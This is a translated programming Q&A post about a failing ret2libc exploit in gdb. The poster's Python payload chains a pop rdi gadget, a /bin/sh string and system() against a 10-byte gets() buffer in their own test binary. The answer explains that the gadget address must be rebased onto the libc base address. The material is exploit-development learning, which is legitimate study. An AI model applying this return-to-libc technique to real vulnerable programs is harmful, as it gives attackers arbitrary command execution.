我在gdb中为ret2libc输入以下内容
(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\x67\x02\x00\x00\x00\x00\x00" + "\xac\xb1\xf7\f7\xff\x7f\x00\x00" + "\xa0\x08\xe4\xf7\xff\x7f\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\x67\x02\x00\x00\x00\x00\x00" + "\xac\xb1\xf7\f7\xff\x7f\x00\x00" + "\xa0\x08\xe4\xf7\xff\x7f\x00\x00")')
当我检查内存时,它在0x267de
之后显示了错误的值
(gdb) x/4g $rbp
0x7fffffffe190: 0x4242424242424242 0x00000000000267de
0x7fffffffe1a0: 0x007fff370cf7b1ac 0x007ffff7e408a000
所有地址都正确,最后程序以分段错误结束
AAAAAAAAAABBBBBBBB�g
Program received signal SIGSEGV, Segmentation fault.
0x00000000000267de in ?? ()
选择的小工具是pop rdi;ret
,它位于0x267de
,/bin/sh
位于0x7ffff7f7b1ac
,system()
位于0x7ffff7e408a0
。gets()用于输入缓冲区,缓冲区长度为10字节,源代码中不存在其他变量
为什么显示错误的值
正如@Mark Plotnick所说
0x267de
是小工具pop rdi; ret
的偏移量。因此,为了找到小工具的正确地址,必须将偏移量与基址相加。我使用radare2查找加载libc路径作为二进制路径的小工具。这意味着libc的基址就是gadget的基址。为了找到libc的基址,我在gdb中使用了info proc map
。还有其他方法可以找到libc的基址。当使用此地址时,地址显示问题得到解决相关问题 更多 >
编程相关推荐